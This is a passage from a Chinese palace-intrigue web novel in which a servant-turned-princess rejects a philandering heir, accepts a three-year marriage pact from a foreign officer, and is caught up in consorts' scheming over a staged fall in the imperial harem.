刘展拉住马绳,他不敢置信的瞧着万珍珠。在刘展眼中,浑江郡主是一个疯子。 明明原来的万珍珠在刘展眼中,还是漂亮的女郎。 可现在嘛,浑江郡主冷冷的眼神以及她射出的箭矢,让刘展是背后生冷,冷汗涔涔。 “妹妹,你在做什么?”林江郡主的话传来。 此时,有林江郡主喊话,万珍珠的理智回笼。 刚才的发疯就像是变成了遥远的过去一样。可真的遥远吗? 万珍珠瞧着手中的弓,她愣神片刻。 万珍珠目光落在刘展身上,她冷冷的眼神,讲道:“今日不过一个见面礼。请汝阳王府的世子远离一点。莫要招惹了似我这般的女郎。” “世子有心上人也罢,世子有白月光也罢。我不是那等心胸开阔,让未来夫婿能享受了娥皇女英,左拥右抱的女郎。”万珍珠语气坚定。 “我未来的夫婿,他待我如何,我待他如何。”万珍珠的态度肯定。 “世间女郎,若嫁高门。谁不是做了贤妻良母。如何,浑江郡主还要做河东狮哄,不让夫君纳了美妾美姬,真敢这般胆大不成?”刘展也恼火了,他怒声问道。 林江郡主瞧着这二人的讲话。这,从何谈起? “……”只是想一想,林江郡主赶紧的打发了护卫,让人远远的守着。莫要再让其它府上的客人凑这一边来。 此时此地,这儿,东道主是万珍珠。凑上来的客人是林江郡主、汝阳王府世子二人。还有随行的也不过是三人的护从罢了。 “我做庄,请二位谈一谈,莫把事情越闹越大。可否?”林江郡主来做和事佬。 有林江郡主开口,万珍珠要给薄面。刘展也是态度和缓一些。 三人骑着马,让护从远远的坠着,不必在跟前护卫。 此时,林江郡主问道:“为何差一点闹出人命官司来?妹妹,你给说说,你恼了展哥儿的哪一处?” 林江郡主一问,万珍珠瞧一眼刘展,只道:“世子心有佳人,可是立过誓言,非卿不娶。如何,世子忘记顾家的表姑娘了?还是说青梅竹马,两小无猜又如何,到底是敌不过前程重要。谁让顾家败落了。” 林江郡主听着重点。甚的前程重要,甚的顾家表妹。 “展哥儿……”林江郡主的目光落在世子刘展身上。 “我当初想迎娶浑江郡主,诚心诚意。此心,堂姐当明鉴。”刘展说的委屈。 “至于表妹,表妹温柔,不过求一处庇护罢了。我护几分又如何?”刘展说的坦坦荡荡。 “哪一府上的儿郎不是在屋里纳了妾的。”刘展说的理所当然,理直气壮。 “怎么,浑江郡主倒是不让夫君纳妾,真是妒妇。”刘展唾骂一回。 “对,我就是妒妇。”万珍珠说的也坦坦荡荡。 “姐姐,你当知,我这性子小心眼儿的很。”万珍珠在林江郡主跟前,她也实话实说。 “这世子高门府第,我是招惹不起。”万珍珠拱一拱手。 “告辞。往后,我与世子山高水远,不必再谈甚的旧情。我二人,没旧情。此生,不曾相识,不过陌生人尔。”万珍珠说的决绝。 刘展在万珍珠的心里算个屁。不过一个过客。 万珍珠策马离开,她的态度不曾变。倒把刘展气得够呛。 林江郡主的 脸色难堪。她瞧一眼堂弟,说道:“堂弟,你知我,我也是妒妇。如何,可让堂弟觉得面目可憎了。” 人以类聚,物以群分。林江郡主在宗室里的名声,那也是半斤八两,不怎么好听的。 若不是有父王母妃的支持,林江郡主哪来的逍遥自得。 如今堂弟拆台,甭管拆了浑江郡主府的台,还是拆了林江郡主的台,都是让林江郡主恼了。 要知道林江郡主肯拉红线,她是真的认可二人的姻缘。 结果,如今是闹的一地鸡毛零碎,让林江郡主难做人。 “唉,这月老难为啊。”林江郡主感慨一回。 “堂姐,你是瞧见,那浑江差一点杀了我。”刘展在生死面前,他岂不恼? “……”听着堂弟的话,林江郡主冷静下来。刚才一箭,林江郡主瞧着分明,浑江郡主确实是用了杀招。 还是林江郡主补一箭,才是没酿出一桩血案来。 “浑江妹妹的胆子,确实太大了。”林江郡主也心疼一回堂弟。毕竟堂弟就差一点,那真是生死之间的差距。 差一点小命没了,恼了,林江郡主能理解的。 “只是……”林江郡主瞧着堂弟,又道:“堂弟,瞧了万内相的脸面,你啊,这一回莫把事情闹大发了。” “谁让你当初要招惹了万家女郎的。让万内相知道了,指不一定还心疼女儿。”林江郡主点拔一回堂弟。 对于万内相的为人,林江郡主还是知道的。这一位万内相可是爱帮亲不帮理。 “……”刘展气极,又听了堂姐林江郡主的话。最后,他是强压怒火。 “堂姐放心,我不跟疯子计较。”刘展回道。 这一厢,林江郡主安抚一回堂弟,又是亲自送了堂弟离开猎场,往镐京都去。 尔后,待秋猎结束后。 林江郡主邀请万珍珠去大佛寺上香。用林江郡主的话讲,就是听一听佛经,渡一渡戾气。 戾气吗?万珍珠想着穿书前的人生,还有前世今生,这三辈子的时光啊。 多想一想,万珍珠也琢磨着,她的身上是不是戾气真的太重了? 反正是林江郡主的美意,万珍珠没有拒绝。 大佛寺。二人上香祈福,又是捐着香火钱。 听一听高僧诵经,在禅屋内,嗅着檀香。万珍珠确实享受了一种心灵上的安宁。 待听过诵经后,万珍珠与林江郡主一道去拜佛主,拜菩萨。 一处菩萨院里,万珍珠遇上了赵济世。 说是巧遇,不如说,赵济世在等候了拜菩萨的万珍珠。 “见过郡主。” “见过赵大人。”二人的态度一直是客客气气。 “二位是旧识?”林江郡主在旁瞧着二人的态度,她问道。 “旧识。”万珍珠肯定的回道:“上一回来大佛寺,我遇着一回刺杀。还是被赵大人救了性命。” “救命之恩吗?”林江郡主惊讶一回。 “对,救命之恩。”万珍珠肯定的回道。 “郡主过誉了。那一日,我乃护卫淑阳公主殿下的侍从。刺客本意是想刺杀了公主殿下。如此,倒是连累了一回在大佛寺上香的郡主。”赵济世的态度表明。 说甚的救命之恩。谈不上的。万珍珠是被连累的人。 救人,在赵济世的嘴里成了份内事。 “赵大人救人,问心无愧,不求什么。我是感激的,诚心诚意。”万珍珠却是心里记一笔,记着对方的好。 林江郡主瞧一眼万珍珠,又瞧一眼赵济世。 “相遇即缘。甭管如何,妹妹记着赵大人的恩,确实是善人善心,得了善报。”林江郡主笑道。 这会儿,遇上了,浅谈几句。尔后,相互告辞。 林江郡主拉着万珍珠的手,二人远远的走开后。 林江郡主凑万珍珠的身旁,小声问道:“我瞧着妹妹的心中美男子,可是比照着赵大人寻摸的?” “……”万珍珠沉默。 “姐姐误会了。”万珍珠解释一回,道:“只是恰巧而矣。” “谁让赵大人英武不凡呢。”万珍珠又解释一回。 林江郡主似笑非笑的瞧着万珍珠,她说道:“解释呢,还是掩饰呢,妹妹,你莫骗了自个啊。” “……”万珍珠这一刻更沉默了。 听着林江郡主的话,万珍珠伸手捂了胸口。 她感受着胸口的心跳声。良久后,万珍珠回道:“未曾的怦然心动啊。” “姐姐,我想,我待赵大人是感恩的。他也确实会让人遐想。可是……”万珍珠的心头似拂过一缕风。 又似乎吹动了心湖,有浅浅的波纹在荡漾。 万珍珠讲道:“我与他,不可能。” “妹妹想得明白便好。赵大人是淑阳公主出嫁时的护卫统领,一且得到燕京都的召唤,总要回了燕京都去。”林江郡主说着事实与真相。 “妹妹的风光,还得在镐京都里显现呢。往后的日子长长久久着。有万内相在,总会替妹妹寻一桩好姻缘的。”林江郡主劝慰一番话道。 “嗯。”万珍珠应一声,回道:“姐姐说的在理。” 可道理摆那儿,谁都会讲大道理。只是人心难测。 很多时候,心意在哪,不由自己。 林江郡主上过香,她要回镐京都。万珍珠却想小住几日。 在大佛寺里,万珍珠听一听高僧诵经,她似乎能求着心灵的安静祥和。 吃过一回素斋。 林江郡主知道万珍珠的安排后,她便告辞,倒是干脆利落的紧。 “妹妹,我先回镐京都了。”坐上马车,林江郡主又跟万珍珠挥挥手。 万珍珠一直瞧着,待马车远去后,她才回转,准备回了大佛寺暂住的禅院。 过了大佛寺的山门,待回禅院时。万珍珠瞧着路旁的赵济世。 “真巧。”万珍珠感慨一回。 “不巧,我是在等了郡主,想与郡主谈一谈。”赵济世回道。 瞧着赵济世一本正紧的模样,万珍珠从对方平静的脸上,还似乎隐约之间瞧出来一点紧张? 万珍珠心头在想,她是不是瞧错了。 要做大人物的赵大人,那做人做事似乎是镇定自若的吧? “好。”万珍珠不拒绝。 于是在小住的院中,万珍珠待客一回。 至于侍候的仆从,不过是打发得远远的一些。 可瞧着二人在谈话,只是离着远,倒是听不清楚二人在谈些什么。 “寺庙之内,也有自己的茶香。这茶不错,赵大人不妨尝尝。”万珍珠端起茶盏,笑着讲道。 “我来过大佛寺,吃过寺中的茶。倒是吃不出什么好与坏。我乃粗人武夫,让郡主瞧了笑话。”赵济世态度摆的低。 “我未曾来了镐京都前,我也吃不出来什么茶汤的好与坏。”万珍珠笑了,她搁下茶盏。 又讲道:“如今谈了茶汤,不过是附庸风雅罢了。” “要讲道理,我还要谢了赵大人,当年非是大人帮衬。我又哪有今日风光。”万珍珠重新提旧事。 “未曾有我,但有万内相在。总会有郡主的风光。我不过是略施手,让事情提前摆上了台面。有我没我,皆是一样。”赵济世倒不认功劳。 “……” 万珍珠心头想着,有你没你,大大不一样。 不,也应该说万珍珠不重生了,一切皆不同的。 二人吃了茶,不过是未入谈话正题。 又过片刻后,赵济世不再吃茶。他的目光落在万珍珠身上。 “我有话想与郡主谈。”这时候的赵济世坦白一番。 “我心悦郡主,不止是心悦了浑江郡主。直指本心,我心悦了万姑娘。”赵济世从袖中拿出一个锦盒。 “赠予姑娘。”赵济世讲道。 万珍珠接过来,她打开,瞧见里面摆着一方同心玉珏。 “同心同德,一心一意。”赵济世说道:“望姑娘收下这一份礼物。” “至于我的欢喜,姑娘不必在意。我有自知之明,不会给姑娘揽了事非。”赵济世坦坦荡荡的讲道。 “那……”万珍珠指着同心玉珏,又问道:“这是何意?” “我知姑娘性情,专一专注,寻一知心良人。幸甚,我同样乐意与未来的嫡妻一心一意,此生不负。”赵济世指天立誓。 “若得姑娘垂青,我能迎娶到姑娘为嫡妻。我,赵济世,此生不纳二色。”赵济世信誓旦旦的讲道。 不纳二色吗?万珍珠听着,她还有一点小心动的。好男儿难寻啊。 特别是做了官的好男儿,愿意守着妻子一心一意的,万珍珠在镐京都里瞧着,甚少,少的一巴掌能数过来。 “可是……”万珍珠的目光落在赵济世的身上。 “赵大人……”万珍珠迟疑一下。在赵济世的一双眼眸子注视下。万珍珠改了称呼。 “赵大哥,你是好人。”万珍珠先给一张好人卡。 “我若能做你的嫡妻,当是一辈子的幸事。”万珍珠得承认,这一个世道的人认了誓言。 对于老天爷,那是指誓为盟后,就一定会遵守的。 这般立过誓言的赵济世,这一位赵大哥在万珍珠的心中是大大的加分。 可惜,赵济世不是大晋朝的官。这一点让万珍珠遗憾啊。 “奈何,你非晋室臣子。”万珍珠说明了二人中间,那隔着的千山万水。 远嫁?万珍珠不乐意远嫁的。 “我知,我乃赵家臣子。我欢喜了万姑娘,只让姑娘添烦恼了。”赵济世也懂,人活世间,岂会没有难处难事。 “只我心悦姑娘,我自要讲明白。”赵济世的一双眼眸子里全是诚恳。他又道:“我愿意等三年。这三年,我不会议了鸳盟。” “若是三年后,万姑娘还未寻得良缘,可否考虑一下我……”赵济世的一番话讲罢,那摆的态度有一些卑微了。 让万珍珠的心头抽动一下。万珍珠低了头颅。 “三年,赵大哥等太久了。”万珍珠可知道的,赵济世比她大五岁。 三年后,万珍珠十九岁,搁穿书前,还是花朵儿一般的年岁。 可搁这一个世道里,十九岁未出嫁的姑娘,一定得被世人议论着是难嫁的老姑娘。 赵济世呢,二十四岁的青年。这一直不议亲,怕是也容易招了事非。指不一定在背后,还要让人蛐蛐了。 “我等的不久。”赵济世笑道:“我乃武官,官职低微。三年光阴,我想爬得更高。灿烂若万姑娘这般的郡主娘娘,您不应该向很多人低头的。” “似朝阳,似彩霞,在我心中,万姑娘太美好。我想有能耐守望好你的未来。”赵济世觉得有大前程,那么,才能够守护了妻子,守护了未来的孩子。 “赵大哥,这是与我订了三年之约吗?”万珍珠问道。 三年之约,这一个约定浮现于脑海中时,万珍珠莫名的有一种宿命感。 “愿与不愿,全是我等候一遭。我不会打扰到万姑娘的生活。”赵济世回道。 “那……”万珍珠抬头,她望着赵济世,笑道:“赵大哥,你可以唤我一声妹妹。” “三年之约,我应了。”万珍珠倒想瞧一瞧,她与赵济世的三年之约,又会如何。 赵济世畅快的笑一回,他道:“万妹妹,我盼着,你我有缘。” “嗯。”万珍珠应一声,不再多语。 “这一份礼,我收下了。”万珍珠瞧着同心玉珏,她准备拿回去压箱底。 三年之约,若是三年之后,她与赵济世真有缘。倒不妨,让这一方同心玉珏做了见证。 若是无缘,那就无缘。万珍珠可是洒脱的人。 “赵大哥,三年时光太长了。若是遇着合适的好姑娘,你不妨迎娶对方的。我觉得,有缘人,不必苛求,也会有缘。若是无缘,强求而来的也会是孽缘。”万珍珠觉得有三年之约,她还能相亲,由着爹娘挑了好良人。 那么,本着公平公正,其时赵济世也可以的。 若是遇上有缘人,这三年之约,不守也罢。 反正万珍珠觉得,时光是最好的磨刀石。有些感情来的快,可能去的更快。 对于自个,万珍珠不会低瞧,更不会高看。 “我啊,也没赵大哥夸的好。也许,赵大哥迎娶我后,万一后悔呢。”万珍珠自嘲一回。 此时此刻,万珍珠还讲一回今个发生的事情。 她与刘展的恩怨,万珍珠一点也不隐瞒。 “……” “赵大哥瞧瞧,我一妒妇,真的不是甚的完美女郎。”万珍珠觉得莫让人觉的她太高光。 有时候希望大,失望更大。 “夫妻同心,但有真情,岂有不捻醋的道理。我会捻醋,妹妹若心悦我,也一定会捻醋的。”赵济世笑道:“在我眼中,捻醋的妹妹很是可爱可人。” 赵济世的目光太灼热,万珍珠低了头,她还是感受到了。 大晋朝,镐京都,皇宫,职房。 亲闺女在大佛寺住几日,万忠良得了消息。还不止,万忠良从下面人的汇报里。他还知道亲闺女与人打赌,结一个什么狗屁的三年之约。 前有刘展,后有赵济世。这二人在万忠良眼中都不是什么本份人。 刘展昨个,还让闺女收拾一遭。万忠良眉头皱了一下。 万忠良在琢磨着,那刘展是不是给一个苦头吃吃? 又一想,事情过去了。倒不必再折腾。还是以大事为重。 等大事落定,若是再瞧着刘展不顺眼,到时候收拾不迟。 至于赵济世嘛,万忠良想着亲闺女。一时间,为着闺女的心思。万忠良倒是轻不得,重不得。 万忠良害怕插手了,真出事,还让闺女坏了心思。 倒底赵济世是闺女的救命恩人。甭管那救命之恩份量多重。 只要亲闺女认了,万忠良就得衡量一番。 还真不怨万忠良多想。在确定了亲闺女于大赵朝的北镇成立了分商社,赵济世是股东之一。 这里面的猫腻,让万忠良闻一闻味儿,他就知道有问题的很。 “干爹,后宫出事儿。”万忠良还在琢磨一些事儿时。干儿子来禀话。 “出什么事?”万忠良问道。 “朱充仪在御花园散步时跌了一跤,如今请了太医问诊。”干儿子忙回道。 “皇嗣如何?”万忠良问道。 “太医这会儿应该在去往朱充仪寝宫的路上。确切消息,还要会诊方知。”干儿子忙回道。 “去,弄清楚朱充仪肚子里的皇嗣如何?”万忠良交代道:“赶紧的,弄清楚情况。” “对了,朱充仪跌一跤,这里面的问题也要查一查。”万忠良又吩咐一回。 关乎皇嗣,这跌跤是意外?还是人为?万忠良很关注。 他得知道真相,如此,方可禀明了天子。至于事情后绪又会如何。当然是查清楚真相,尔后,交由天子决断。 万忠良做一个大大的天子忠臣即可。 “干爹放心,儿子马上去查,一定查一个明白。”万忠良的干儿子应下差遣后,忙去办差。 第49章 大晋朝,镐京都,内城,汝阳王府。 世子刘展回府后,昨晚睡不安生,此时,他越是回想,越就生气。在书房里,刘展还砸了砚台。 “表哥。”顾表妹未进屋,她在外面听着书房里的动静。 于是顾表妹走进屋,她半蹲身,尔后,拾起砸在地上的砚台。 “此系长辈赠表哥的十岁生辰礼。表哥往昔多爱重,今日如何舍得砸了。”顾表妹眼中是柔情一片。 “……” 刘展瞧着青梅竹马的表妹进屋,又是拾了砚台搁回书桌上。 刘展讲道:“我一时糊涂,让表妹见笑了。” “不。”顾表妹摇摇头。 “我知表哥,表哥一定遇上为难事。如此,表哥才会怒火升腾,一时难制。”顾表妹是解语花。 这会儿讲话时温温柔柔,让世子刘展的情绪平复下来。 有顾表妹哄一哄。刘展也不生气了。 只是待顾表妹 离开后,刘展的神色一变。又哪有在顾表妹跟前的温文尔雅。 刘展做为汝阳王府的世子,他的世界里,当然是王府富贵为重。 在前程与表妹之间,刘展早就做了选择,他选前程。 这一回生气,也不过是气自己偷鸡不成蚀把米。 更是差一点,他汝阳王府的世子就要小命不保。 “疯子。”想到浑江郡主,刘展又是咒骂一回。 刘展不想再招惹了浑江郡主。那么,他就得选了新的嫡妻人选。 选谁? 做为汝阳王府的世子,刘展也为难。 刘展既想娶一门对前程有帮衬的嫡妻。又不想委屈了表妹。 两难之间,刘展考虑的就多了。 镐京都,皇宫,昭阳宫。 魏皇后在琢磨了开宫宴的事儿。九月九,重阳节,到时候,魏皇后得主持宫宴。 “皇后娘娘,朱充仪出事了。”魏嬷嬷得了小宫人的禀报,赶紧向魏皇后递话,还说明了朱充仪跌跤一事。 “朱氏不好好的待了她寝宫,有事没事,到处闲逛。哼。”魏皇后眼中,左瞧右瞧,总瞧朱充仪不顺眼的。 “皇后娘娘……”魏嬷嬷瞧着生气的魏皇后,小心劝道:“朱充仪出事儿,您是中宫,您瞧,您一定得去探望了朱充仪和充仪腹中的皇嗣。要不,奴婢担忧谣言丛生,有人腹诽。” 中宫皇后的责任摆那儿,魏皇后掌着宫权。虽然有王贤妃分权。 可凤印捏在魏皇后手里,魏嬷嬷小心劝话。就想劝了魏皇后莫做妖,莫争一口心气儿。 万一惹恼了帝王,那就是昭阳宫的祸事。 又或者说魏嬷嬷想请魏皇后去探望朱充仪与其腹中的皇嗣。 也是魏嬷嬷怕,魏皇后不出现,万一被人泼脏水咋办? 人在现场,更能拿捏了话语权。魏皇后在宫廷内苑,如今瞧着宣威赫赫,可到底不如从前。 “去,本宫是诸皇嗣的母后。当然要关心了朱充仪腹中的皇嗣。”魏皇后听懂了魏嬷嬷的劝解。 魏皇后吃过亏,如今可不会再犯当初的错误。 当初在王贤妃生的三皇子身上,魏皇后就是没甚的“慈母”之心。 如此,才会让王美人一跃晋位成王贤妃。 前车之鉴犹在,魏皇后得谨防了另一位王贤妃出现。 皇后居中宫。王贤妃、朱充仪二人却是邻里。 二人的寝宫相邻。于是魏皇后没到朱充仪的寝宫前,王贤妃先至。 “朱妹妹。”王贤妃一来,她瞧见躺了榻上的朱充仪,忙上前关心一番。 朱充仪额头见汗,这会儿不想多应付王贤妃。 朱充仪只咬紧牙关,过片刻后,讲一句话,说道:“我腹疼难忍,劳姐姐关心……” 尔后,朱充仪就是轻声的呻吟着。瞧着朱充仪的做派,王贤妃,她占了一个贤字。 此时,王贤妃是拿出贤妃的名头。又是跟宫人问话,问太医如何还没到。 王贤妃又唤身边人去催太医。 在王贤妃跟前的宫人去催太医,尚未出了朱充仪的寝宫大门。太医院的太医被宫人请到。 “给贤妃娘娘请安。”太医见礼。 “不必虚礼,快,给朱充仪问诊。”王贤妃吩咐道。 二位太医得话,此时,二人赶紧上前,又给朱充仪见礼后,再是问诊了脉相。 等着魏皇后凤驾来此时,太医已经请过脉,也开了药方子。 魏皇后一来,她就跟王贤妃问了情况。王贤妃协理后宫,魏皇后问了,王贤妃忙应答。 “这般说来,朱充仪生产前的日子,这要躺了榻上仔细静养方可。”魏皇后问道。 “皇后娘娘明鉴,二位太医确诊过,当是如此,方可保了大动胎气的朱妹妹与妹妹腹中的皇嗣。”王贤妃回话时,技巧全在太医身上。 结果是太医给的,与王贤妃是没什么干系的。 “既然是太医的医嘱,那就如此吧。往后,让朱充仪不必去昭阳宫请安。在她生产前的日子里,她留了寝宫里好好的静养。一切诸事,还以她腹中的皇嗣为重。”魏皇后扫一眼殿中诸人,难得的,魏皇后通情达理一回。 “臣妾替朱妹妹谢皇后娘娘恩典。”王贤妃赶紧行礼谢恩。 至于卧于榻上的朱充仪?她得静养,当然不可能给魏皇后见礼了。 皇宫,职房。 万忠良听着干儿子的汇报,他沉默下来。良久后,他讲道:“你给咱的汇报,只道朱充仪跌跤是意外。咱信了,还得陛下也相信了。” “……”万忠良的干儿子一听,给唬住。 “干爹,儿子再去查。” “不必了。”万忠良讲道:“咱记得,赵修媛收买了朱充仪寝宫里的一个三等宫女,还递过消息。可对?” “干爹好记性,有这一个人。”干儿子忙回道。 “把那人摁住。”万忠良吩咐道。 “唯。” 在干儿子去办事后,万忠良准备去跟陛下交差了。 赵修媛曾经动了小心思,这很重要。特别是在朱充仪如今怀了皇嗣的情况下。 这事情一摆开,不止万忠良多想。万忠良相信,陛下也一定会多想。 宫廷内苑,天子嫔妃,谁让赵修媛自己投靠了魏皇后。 她还起了心思,又凭借着魏皇后的光彩,把自己的庶妹拢进了宫廷内苑侍奉天子。 赵家想干什么?万忠良很怀疑。 这不,能把赵家拉下水,又或借此把魏皇后拉下水呢? 万忠良觉得是机会。他相信有机会了,朱充仪与她背后的势力不会错过这等良机。 在朝堂上,朱氏一族与盟友可是凄凄惨惨。 这些人会惨惨淡淡,当然是少不了魏皇后与她背后的支持者们在动刀子,拿刀子割肉啊。 既然斗兽场已经开局,不分胜负,如何收场? 万忠良等着结局的出现。 皇宫,泰和宫。 大晋天子洪福帝瞧着大伴伴递上来的人证物证。 洪福帝沉默良久后,他问道:“朱充仪那一边可递了话?皇后又是否递了话?” 至于赵修媛,她这人让洪福帝是华丽丽的忽视掉。 “启禀陛下,朱充仪的心腹宫女替主子递了话,求陛下给皇嗣一个公道。”万忠良诚恳的讲了事实。 朱凤曦的陪嫁丫鬟白玉,这真在万公公跟前恳求一番。 拿的由头就不是朱充仪的委屈,而是皇嗣的委屈。 天家皇嗣,那肯定比嫔妃要紧。这才是天家的正确站位。 “皇后娘娘那一边……”万忠良低了头,恭敬回道:“目前尚未差人来递话。” “……”洪福帝沉默片刻后,他讲道:“朕的子嗣不能受委屈。” “大伴,你差人去传朕的口谕,赵修媛御前失仪,此,错也。降位为美人,禁足一年。”洪福帝给出自己的答案。 赵修媛降位成赵美人。至于禁足,那就更说明了其失去圣心。 又或者说,在洪福帝的心里,赵修媛干的事情是不是她的本心,还是背后还有人? 洪福帝不想查了。 朱充仪无恙,她腹中的皇嗣也平平安安。那么,罚过,便是罚了。 再追究下去,洪福帝没那一份心思。 “唯。”万忠良应下帝王吩咐。对于赵修媛的降位,万忠良不在意。 谁让赵修媛,应该说赵美人虽然是大皇子生母。可说到底,她失宠了。 一个不得圣宠的嫔妃,天子不在意,天子跟前的家奴,那更不会在意的。 昭阳宫。 魏皇后一回到寝宫,她就得了魏嬷嬷汇报宫廷内苑的新消息。 “赵氏降位为美人。”魏皇后惊讶一回。 “嬷嬷,你的意思是这一回朱充 仪出事,赵美人是祸首。“魏皇后问道。 “皇后娘娘,奴婢担忧,赵美人降位一事,可能不是结束,而是祸端。”魏嬷嬷的脸上有忧色。 “此话怎讲?”魏皇后不解。 “皇后娘娘,赵美人一直巴结着昭阳宫过日子。前面,也多番为皇后娘娘奔走办事。奴婢担忧,赵美人办的一些坏事,那被人记算在昭阳宫的头上。”魏嬷嬷赶紧的说了自个的担忧。 要知道赵美人那些年的忙碌里,有多少是得了昭阳宫的暗示。 魏嬷嬷心头有数的很。 “这一回朱充仪出事,本宫可没吩咐赵美人办坏事。”魏皇后有没有吩咐人办事,她记得住。 “皇后娘娘,您一片仁慈。可架不住有人心眼坏,那自然会拿了坏心思揣度人。”魏嬷嬷无奈了。 有俗语云,心里有鬼的人,瞧哪一处都是鬼鬼崇崇。 皇宫,宫廷内苑。 生活于此地的嫔妃们,各有各的悲欢,又是悲欢各不同。 赵美人在伤心,伤心的晕厥过去。 至于与正四品赵美人住一宫的赵五姑娘,不,如今她应该是正五品赵才人。 赵才人也难过。她入宫后,并不算太得宠。 或者说宫廷之内,最不缺着的便是美人儿。 大晋天子跟前,有太多的美人想出人投地,想争得圣宠。 往昔赵修媛的恩宠少,好待还能想法子帮衬一二赵才人。 如今赵修媛降位成了赵美人,赵才人明白的很。 她和姐姐的苦日子要真正开始了。 赵家两姐妹都很伤心时。做为事情主角的朱充仪在安睡。 等朱充仪醒来后,已至晚间时分。 “充仪娘娘醒了。”白玉瞧着娘娘醒来,她高兴的唤道。 “嗯。”朱凤曦轻轻应一声。 这会儿的朱凤曦更关注了腹中的皇嗣。或者说,朱凤曦更关注了这一回出事后,她与皇嗣得了哪一些的好处? 白玉侍候着主子先用药汤,又用过饭。 尔后,在主子漱口后,陪嫁丫鬟白玉又小心禀了话,讲了充仪娘娘安睡后发生的一切。 “陛下替本宫和皇儿主持了公道啊。”说这话时,朱凤曦的语气淡淡。 这话说的,朱凤曦哪信。 朱凤曦知道她住的寝宫有旁人耳目。她早想借着机会打发掉一些人。 往昔嘛,那还没有做足准备,还没有筛选掉一些探子。 如今是查明白后,朱凤曦等不得。 当然,依着朱凤曦的本心,她觉得自己和腹中皇嗣都等不得。 越是离近了产期,朱凤曦要考虑的事情就越多。 快刀斩乱麻。朱凤曦拿一个借口,她就要端掉一些人的耳目。 在御花园跌跤,那是真的。可是,也没有表现出来的严重。 或者说这是一场戏,一场朱凤曦演的戏。 这一场戏演了,朱凤曦得到洪福帝给的结果。 区区结果,赵修媛降位为美人,禁足一年。 这又算哪一门子的惩罚,落朱凤曦的眼中,太轻了。轻飘飘,没份量。 朱凤曦的心里,她更想给昭阳宫泼一泼冷水。 可惜,瞧着昭阳宫还挺谨慎。没让朱凤曦拿着小辫子。 宫廷内苑,问朱凤曦深恨谁?朱凤曦恨了魏皇后。 昭阳宫一系在朝堂上的所作所为,朱凤曦有耳朵,她听得到宫外的消息。 越是如此,朱凤曦越恨。恨对方踏着底线,不给朱氏一族活路。 至于说赵美人冤枉不冤枉,委屈不委屈?落朱凤曦的心中,赵美人投靠了昭阳宫时,那就应该有心里准备。 福享了,罪嘛,当然也得受住。 世间事,从来没有只享福,不担责任的道理。 反正在朱凤曦的眼中,昭阳宫的魏皇后和赵家两姐妹是一系人马,都是敌人。 九月九,重阳节。 皇家开宫宴,万珍珠做为有封号的郡主,她当然是进宫一趟。 让万珍珠料不到的是宫宴结束后,朱充仪召见她。 万珍珠惊讶一回。她是郡主,充仪是嫔娘娘。 可皇帝的嫔妃嘛,天然加一等尊位。特别是朱充仪还怀着皇嗣,更传言是怀着一位小皇子。 加诸在朱充仪身上的荣耀就更多了。 这不,魏皇后差人吩咐话,让万珍珠走一遭。 有皇后吩咐,万珍珠也不得拒绝。 虽然早前,万珍珠煽过皇后的贴身宫女。可是嘛,那不过是陈年烂谷子的旧事。不提也罢。 如今的魏皇后面上和善,瞧着温柔。至少在表面上是温柔人设的做派。 万珍珠由着宫人引路,她往朱充仪的寝宫去。 见着安卧于榻上的朱充仪,万珍珠问候一回。 “浑江郡主客气了。”朱凤曦瞧着万珍珠。 落朱凤曦的眼中,万珍珠这一位浑江郡主的浑身上下,那是凤仪万千。 瞧着真是富贵窝里养出来的贵人一般模样。 可朱凤曦太知道万珍珠的底细,这不过是她家的家生子奴婢。 当然,这是前些年的家生子奴婢。在万忠良给女儿求得天子册封后,万珍珠的身份又不同,那成了大晋的郡主。 瞧着万珍珠的好气色,朱凤曦抿一下唇。 “郡主,请坐。”朱凤曦想拉拢浑江郡主府。 或者说是拉拢了万珍珠的亲爹万内相。 在宫廷内苑生活的日子里,朱凤曦更懂得宫廷内苑有人的重要性。 “充仪娘娘客气,我便遵从了。”万珍珠一边说话,一边落坐。 此时,朱凤曦的陪嫁丫鬟白玉呈上茶果点心。 万珍珠瞧着白玉,她多瞧一眼。 “原是白玉姐姐。”万珍珠笑道。 对于白玉其人,万珍珠没恶感,要说多少好感,也没有的。 因着白玉是朱凤曦的陪嫁,白玉与朱凤曦的利益一致。 万珍珠没有替朱凤曦添筹码的道理。那么,跟白玉当然是装了不熟最好。 可如今人在跟前,万珍珠又没得老年痴呆,哪能装着不认识。 没得让人嚼什么舌根子,说她一朝凤在天,不识曾经的脚下凡尘泥。 对于过往,万珍珠不忌讳的。哪怕她装了忌讳,她不想提。 那么,才是一错再错,容易授人话柄。还更容易让人以为她对于曾经忌讳莫深。 对于万珍珠而言,还不若自己表明不在意曾经的过往。 万珍珠信奉一句话,人不要脸,天下无敌。 自己不在意过去当奴婢,当家生子的那些年。 那么,旁人蛐蛐了又如何。 “当不得郡主娘娘的话。”白玉赶紧跪下。 被郡主叫一声姐姐,她一个奴婢,哪里担得起。 “白玉姐姐……”万珍珠又唤一声。 这会儿万珍珠仔细瞧了在场诸人的神情。白玉请罪,额头见汗。瞧着白玉是害怕的。 倒是朱凤曦嘛,她的神情复杂一点。万珍珠瞧着,觉得甚是有趣。 “也对,我糊涂了。”万珍珠讲道:“我唤一声白玉姐姐,却让充仪娘娘要为难了。” “罢,旧人再见,倒不必为难谁。”万珍珠摆摆手,示意这一遭就囫囵过去。 “白玉,有郡主的话,你先退下吧。”朱凤曦吩咐道。 “唯。”白玉叩首,向朱充仪,向万珍珠,向着二人行礼后,白玉告退。 万珍珠这会儿的目光落在朱充仪的身上。她就想瞧一瞧,朱凤曦见她,又准备做什么戏法? 哪料,这一回朱凤曦见一见万珍珠,除了赠礼,给浑江郡主府的一家三口赠礼外,还真没有旁的事情。 只这礼物嘛,给牛二囡的最特别。那一份贺礼里,还专门的加了一味点心。 “我记得嬷嬷最喜菊花酥。这是我差陪嫁嬷嬷专门做的。还是永州那一边的口味。请郡主带回去,让嬷嬷仔细尝一尝,可是她喜欢的那一口。”朱凤曦打了温情牌面。 “娘娘美意,我一定带到。”万珍珠应承下来。 就一口吃食,这一点小事让万珍珠拒绝了。真拒绝的话,未免显得不尽人情。 在朱充仪的寝宫内,万珍珠就小坐片 刻,收下礼物,尔后,告辞离开。 待万珍珠走后,白玉又回到朱凤曦的跟前。 “娘娘,您今个召见浑江郡主,又不曾言明大事。如此,会不会浪费了好机会。”白玉的眼中有忧虑神色闪过。 “浑江郡主哪会跟本宫一条心。哼。”朱凤曦冷哼一声。 浑江郡主从家生子到郡主娘娘,全程在朱凤曦的见证下锐变。 